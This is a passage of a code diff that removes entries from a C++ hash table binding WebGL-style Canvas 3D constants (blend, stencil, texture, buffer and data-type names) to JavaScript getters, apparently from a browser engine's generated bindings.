-    { "ONE_MINUS_CONSTANT_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_CONSTANT_COLOR, (intptr_t)0 },
-    { "CONSTANT_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCONSTANT_ALPHA, (intptr_t)0 },
-    { "ONE_MINUS_CONSTANT_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_CONSTANT_ALPHA, (intptr_t)0 },
-    { "BLEND_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_COLOR, (intptr_t)0 },
-    { "ARRAY_BUFFER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DARRAY_BUFFER, (intptr_t)0 },
-    { "ELEMENT_ARRAY_BUFFER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DELEMENT_ARRAY_BUFFER, (intptr_t)0 },
-    { "ARRAY_BUFFER_BINDING", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DARRAY_BUFFER_BINDING, (intptr_t)0 },
-    { "ELEMENT_ARRAY_BUFFER_BINDING", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DELEMENT_ARRAY_BUFFER_BINDING, (intptr_t)0 },
-    { "STREAM_DRAW", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTREAM_DRAW, (intptr_t)0 },
-    { "STATIC_DRAW", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTATIC_DRAW, (intptr_t)0 },
-    { "DYNAMIC_DRAW", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDYNAMIC_DRAW, (intptr_t)0 },
-    { "BUFFER_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBUFFER_SIZE, (intptr_t)0 },
-    { "BUFFER_USAGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBUFFER_USAGE, (intptr_t)0 },
-    { "CURRENT_VERTEX_ATTRIB", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCURRENT_VERTEX_ATTRIB, (intptr_t)0 },
-    { "FRONT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRONT, (intptr_t)0 },
-    { "BACK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBACK, (intptr_t)0 },
-    { "FRONT_AND_BACK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRONT_AND_BACK, (intptr_t)0 },
-    { "TEXTURE_2D", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_2D, (intptr_t)0 },
-    { "CULL_FACE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCULL_FACE, (intptr_t)0 },
-    { "BLEND", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND, (intptr_t)0 },
-    { "DITHER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDITHER, (intptr_t)0 },
-    { "STENCIL_TEST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_TEST, (intptr_t)0 },
-    { "DEPTH_TEST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_TEST, (intptr_t)0 },
-    { "SCISSOR_TEST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSCISSOR_TEST, (intptr_t)0 },
-    { "POLYGON_OFFSET_FILL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DPOLYGON_OFFSET_FILL, (intptr_t)0 },
-    { "SAMPLE_ALPHA_TO_COVERAGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLE_ALPHA_TO_COVERAGE, (intptr_t)0 },
-    { "SAMPLE_COVERAGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLE_COVERAGE, (intptr_t)0 },
-    { "NO_ERROR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNO_ERROR, (intptr_t)0 },
-    { "INVALID_ENUM", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINVALID_ENUM, (intptr_t)0 },
-    { "INVALID_VALUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINVALID_VALUE, (intptr_t)0 },
-    { "INVALID_OPERATION", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINVALID_OPERATION, (intptr_t)0 },
-    { "OUT_OF_MEMORY", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DOUT_OF_MEMORY, (intptr_t)0 },
-    { "CW", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCW, (intptr_t)0 },
-    { "CCW", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCCW, (intptr_t)0 },
-    { "LINE_WIDTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINE_WIDTH, (intptr_t)0 },
-    { "ALIASED_POINT_SIZE_RANGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DALIASED_POINT_SIZE_RANGE, (intptr_t)0 },
-    { "ALIASED_LINE_WIDTH_RANGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DALIASED_LINE_WIDTH_RANGE, (intptr_t)0 },
-    { "CULL_FACE_MODE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCULL_FACE_MODE, (intptr_t)0 },
-    { "FRONT_FACE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRONT_FACE, (intptr_t)0 },
-    { "DEPTH_RANGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_RANGE, (intptr_t)0 },
-    { "DEPTH_WRITEMASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_WRITEMASK, (intptr_t)0 },
-    { "DEPTH_CLEAR_VALUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_CLEAR_VALUE, (intptr_t)0 },
-    { "DEPTH_FUNC", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_FUNC, (intptr_t)0 },
-    { "STENCIL_CLEAR_VALUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_CLEAR_VALUE, (intptr_t)0 },
-    { "STENCIL_FUNC", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_FUNC, (intptr_t)0 },
-    { "STENCIL_FAIL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_FAIL, (intptr_t)0 },
-    { "STENCIL_PASS_DEPTH_FAIL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_PASS_DEPTH_FAIL, (intptr_t)0 },
-    { "STENCIL_PASS_DEPTH_PASS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_PASS_DEPTH_PASS, (intptr_t)0 },
-    { "STENCIL_REF", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_REF, (intptr_t)0 },
-    { "STENCIL_VALUE_MASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_VALUE_MASK, (intptr_t)0 },
-    { "STENCIL_WRITEMASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_WRITEMASK, (intptr_t)0 },
-    { "STENCIL_BACK_FUNC", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_FUNC, (intptr_t)0 },
-    { "STENCIL_BACK_FAIL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_FAIL, (intptr_t)0 },
-    { "STENCIL_BACK_PASS_DEPTH_FAIL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_PASS_DEPTH_FAIL, (intptr_t)0 },
-    { "STENCIL_BACK_PASS_DEPTH_PASS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_PASS_DEPTH_PASS, (intptr_t)0 },
-    { "STENCIL_BACK_REF", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_REF, (intptr_t)0 },
-    { "STENCIL_BACK_VALUE_MASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_VALUE_MASK, (intptr_t)0 },
-    { "STENCIL_BACK_WRITEMASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_WRITEMASK, (intptr_t)0 },
-    { "VIEWPORT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVIEWPORT, (intptr_t)0 },
-    { "SCISSOR_BOX", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSCISSOR_BOX, (intptr_t)0 },
-    { "COLOR_CLEAR_VALUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOLOR_CLEAR_VALUE, (intptr_t)0 },
-    { "COLOR_WRITEMASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOLOR_WRITEMASK, (intptr_t)0 },
-    { "UNPACK_ALIGNMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNPACK_ALIGNMENT, (intptr_t)0 },
-    { "PACK_ALIGNMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DPACK_ALIGNMENT, (intptr_t)0 },
-    { "MAX_TEXTURE_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_TEXTURE_SIZE, (intptr_t)0 },
-    { "MAX_VIEWPORT_DIMS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_VIEWPORT_DIMS, (intptr_t)0 },
-    { "SUBPIXEL_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSUBPIXEL_BITS, (intptr_t)0 },
-    { "RED_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRED_BITS, (intptr_t)0 },
-    { "GREEN_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DGREEN_BITS, (intptr_t)0 },
-    { "BLUE_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLUE_BITS, (intptr_t)0 },
-    { "ALPHA_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DALPHA_BITS, (intptr_t)0 },
-    { "DEPTH_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_BITS, (intptr_t)0 },
-    { "STENCIL_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BITS, (intptr_t)0 },
-    { "POLYGON_OFFSET_UNITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DPOLYGON_OFFSET_UNITS, (intptr_t)0 },
-    { "POLYGON_OFFSET_FACTOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DPOLYGON_OFFSET_FACTOR, (intptr_t)0 },
-    { "TEXTURE_BINDING_2D", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_BINDING_2D, (intptr_t)0 },
-    { "SAMPLE_BUFFERS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLE_BUFFERS, (intptr_t)0 },
-    { "SAMPLES", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLES, (intptr_t)0 },
-    { "SAMPLE_COVERAGE_VALUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLE_COVERAGE_VALUE, (intptr_t)0 },
-    { "SAMPLE_COVERAGE_INVERT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLE_COVERAGE_INVERT, (intptr_t)0 },
-    { "NUM_COMPRESSED_TEXTURE_FORMATS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNUM_COMPRESSED_TEXTURE_FORMATS, (intptr_t)0 },
-    { "COMPRESSED_TEXTURE_FORMATS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOMPRESSED_TEXTURE_FORMATS, (intptr_t)0 },
-    { "DONT_CARE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDONT_CARE, (intptr_t)0 },
-    { "FASTEST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFASTEST, (intptr_t)0 },
-    { "NICEST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNICEST, (intptr_t)0 },
-    { "GENERATE_MIPMAP_HINT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DGENERATE_MIPMAP_HINT, (intptr_t)0 },
-    { "BYTE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBYTE, (intptr_t)0 },
-    { "UNSIGNED_BYTE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_BYTE, (intptr_t)0 },
-    { "SHORT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHORT, (intptr_t)0 },
-    { "UNSIGNED_SHORT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_SHORT, (intptr_t)0 },
-    { "INT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINT, (intptr_t)0 },
-    { "UNSIGNED_INT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_INT, (intptr_t)0 },
-    { "FLOAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT, (intptr_t)0 },
-    { "FIXED", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFIXED, (intptr_t)0 },
-    { "DEPTH_COMPONENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_COMPONENT, (intptr_t)0 },
-    { "ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DALPHA, (intptr_t)0 },
-    { "RGB", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRGB, (intptr_t)0 },
-    { "RGBA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRGBA, (intptr_t)0 },
-    { "LUMINANCE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLUMINANCE, (intptr_t)0 },
-    { "LUMINANCE_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLUMINANCE_ALPHA, (intptr_t)0 },
-    { "UNSIGNED_SHORT_4_4_4_4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_SHORT_4_4_4_4, (intptr_t)0 },
-    { "UNSIGNED_SHORT_5_5_5_1", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_SHORT_5_5_5_1, (intptr_t)0 },
-    { "UNSIGNED_SHORT_5_6_5", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNSIGNED_SHORT_5_6_5, (intptr_t)0 },
-    { "FRAGMENT_SHADER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAGMENT_SHADER, (intptr_t)0 },
-    { "VERTEX_SHADER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_SHADER, (intptr_t)0 },
-    { "MAX_VERTEX_ATTRIBS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_VERTEX_ATTRIBS, (intptr_t)0 },
-    { "MAX_VERTEX_UNIFORM_VECTORS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_VERTEX_UNIFORM_VECTORS, (intptr_t)0 },
-    { "MAX_VARYING_VECTORS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_VARYING_VECTORS, (intptr_t)0 },
-    { "MAX_COMBINED_TEXTURE_IMAGE_UNITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_COMBINED_TEXTURE_IMAGE_UNITS, (intptr_t)0 },
-    { "MAX_VERTEX_TEXTURE_IMAGE_UNITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_VERTEX_TEXTURE_IMAGE_UNITS, (intptr_t)0 },
-    { "MAX_TEXTURE_IMAGE_UNITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_TEXTURE_IMAGE_UNITS, (intptr_t)0 },
-    { "MAX_FRAGMENT_UNIFORM_VECTORS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_FRAGMENT_UNIFORM_VECTORS, (intptr_t)0 },
-    { "SHADER_TYPE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHADER_TYPE, (intptr_t)0 },
-    { "DELETE_STATUS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDELETE_STATUS, (intptr_t)0 },
-    { "LINK_STATUS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINK_STATUS, (intptr_t)0 },
-    { "VALIDATE_STATUS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVALIDATE_STATUS, (intptr_t)0 },
-    { "ATTACHED_SHADERS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DATTACHED_SHADERS, (intptr_t)0 },
-    { "ACTIVE_UNIFORMS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DACTIVE_UNIFORMS, (intptr_t)0 },
-    { "ACTIVE_UNIFORM_MAX_LENGTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DACTIVE_UNIFORM_MAX_LENGTH, (intptr_t)0 },
-    { "ACTIVE_ATTRIBUTES", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DACTIVE_ATTRIBUTES, (intptr_t)0 },
-    { "ACTIVE_ATTRIBUTE_MAX_LENGTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DACTIVE_ATTRIBUTE_MAX_LENGTH, (intptr_t)0 },
-    { "SHADING_LANGUAGE_VERSION", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHADING_LANGUAGE_VERSION, (intptr_t)0 },
-    { "CURRENT_PROGRAM", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCURRENT_PROGRAM, (intptr_t)0 },
-    { "NEVER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNEVER, (intptr_t)0 },
-    { "LESS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLESS, (intptr_t)0 },
-    { "EQUAL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DEQUAL, (intptr_t)0 },
-    { "LEQUAL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLEQUAL, (intptr_t)0 },
-    { "GREATER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DGREATER, (intptr_t)0 },
-    { "NOTEQUAL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNOTEQUAL, (intptr_t)0 },
-    { "GEQUAL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DGEQUAL, (intptr_t)0 },
-    { "ALWAYS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DALWAYS, (intptr_t)0 },
-    { "KEEP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DKEEP, (intptr_t)0 },
-    { "REPLACE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DREPLACE, (intptr_t)0 },
-    { "INCR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINCR, (intptr_t)0 },
-    { "DECR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDECR, (intptr_t)0 },
-    { "INVERT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINVERT, (intptr_t)0 },
-    { "INCR_WRAP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINCR_WRAP, (intptr_t)0 },
-    { "DECR_WRAP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDECR_WRAP, (intptr_t)0 },
-    { "VENDOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVENDOR, (intptr_t)0 },
-    { "RENDERER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERER, (intptr_t)0 },
-    { "VERSION", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERSION, (intptr_t)0 },
-    { "EXTENSIONS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DEXTENSIONS, (intptr_t)0 },
-    { "NEAREST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNEAREST, (intptr_t)0 },
-    { "LINEAR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINEAR, (intptr_t)0 },
-    { "NEAREST_MIPMAP_NEAREST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNEAREST_MIPMAP_NEAREST, (intptr_t)0 },
-    { "LINEAR_MIPMAP_NEAREST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINEAR_MIPMAP_NEAREST, (intptr_t)0 },
-    { "NEAREST_MIPMAP_LINEAR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNEAREST_MIPMAP_LINEAR, (intptr_t)0 },
-    { "LINEAR_MIPMAP_LINEAR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINEAR_MIPMAP_LINEAR, (intptr_t)0 },
-    { "TEXTURE_MAG_FILTER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_MAG_FILTER, (intptr_t)0 },
-    { "TEXTURE_MIN_FILTER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_MIN_FILTER, (intptr_t)0 },
-    { "TEXTURE_WRAP_S", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_WRAP_S, (intptr_t)0 },
-    { "TEXTURE_WRAP_T", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_WRAP_T, (intptr_t)0 },
-    { "TEXTURE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP, (intptr_t)0 },
-    { "TEXTURE_BINDING_CUBE_MAP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_BINDING_CUBE_MAP, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_POSITIVE_X", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_X, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_NEGATIVE_X", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_X, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_POSITIVE_Y", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_Y, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_NEGATIVE_Y", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_Y, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_POSITIVE_Z", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_Z, (intptr_t)0 },
-    { "TEXTURE_CUBE_MAP_NEGATIVE_Z", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_Z, (intptr_t)0 },
-    { "MAX_CUBE_MAP_TEXTURE_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_CUBE_MAP_TEXTURE_SIZE, (intptr_t)0 },
-    { "TEXTURE0", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE0, (intptr_t)0 },
-    { "TEXTURE1", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE1, (intptr_t)0 },
-    { "TEXTURE2", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE2, (intptr_t)0 },
-    { "TEXTURE3", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE3, (intptr_t)0 },
-    { "TEXTURE4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE4, (intptr_t)0 },
-    { "TEXTURE5", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE5, (intptr_t)0 },
-    { "TEXTURE6", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE6, (intptr_t)0 },
-    { "TEXTURE7", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE7, (intptr_t)0 },
-    { "TEXTURE8", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE8, (intptr_t)0 },
-    { "TEXTURE9", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE9, (intptr_t)0 },
-    { "TEXTURE10", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE10, (intptr_t)0 },
-    { "TEXTURE11", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE11, (intptr_t)0 },
-    { "TEXTURE12", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE12, (intptr_t)0 },
-    { "TEXTURE13", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE13, (intptr_t)0 },
-    { "TEXTURE14", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE14, (intptr_t)0 },
-    { "TEXTURE15", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE15, (intptr_t)0 },
-    { "TEXTURE16", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE16, (intptr_t)0 },
-    { "TEXTURE17", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE17, (intptr_t)0 },
-    { "TEXTURE18", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE18, (intptr_t)0 },
-    { "TEXTURE19", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE19, (intptr_t)0 },
-    { "TEXTURE20", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE20, (intptr_t)0 },
-    { "TEXTURE21", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE21, (intptr_t)0 },
-    { "TEXTURE22", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE22, (intptr_t)0 },
-    { "TEXTURE23", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE23, (intptr_t)0 },
-    { "TEXTURE24", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE24, (intptr_t)0 },
-    { "TEXTURE25", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE25, (intptr_t)0 },
-    { "TEXTURE26", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE26, (intptr_t)0 },
-    { "TEXTURE27", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE27, (intptr_t)0 },
-    { "TEXTURE28", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE28, (intptr_t)0 },
-    { "TEXTURE29", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE29, (intptr_t)0 },
-    { "TEXTURE30", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE30, (intptr_t)0 },
-    { "TEXTURE31", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE31, (intptr_t)0 },
-    { "ACTIVE_TEXTURE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DACTIVE_TEXTURE, (intptr_t)0 },
-    { "REPEAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DREPEAT, (intptr_t)0 },
-    { "CLAMP_TO_EDGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCLAMP_TO_EDGE, (intptr_t)0 },
-    { "MIRRORED_REPEAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMIRRORED_REPEAT, (intptr_t)0 },
-    { "FLOAT_VEC2", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_VEC2, (intptr_t)0 },
-    { "FLOAT_VEC3", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_VEC3, (intptr_t)0 },
-    { "FLOAT_VEC4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_VEC4, (intptr_t)0 },
-    { "INT_VEC2", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINT_VEC2, (intptr_t)0 },
-    { "INT_VEC3", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINT_VEC3, (intptr_t)0 },
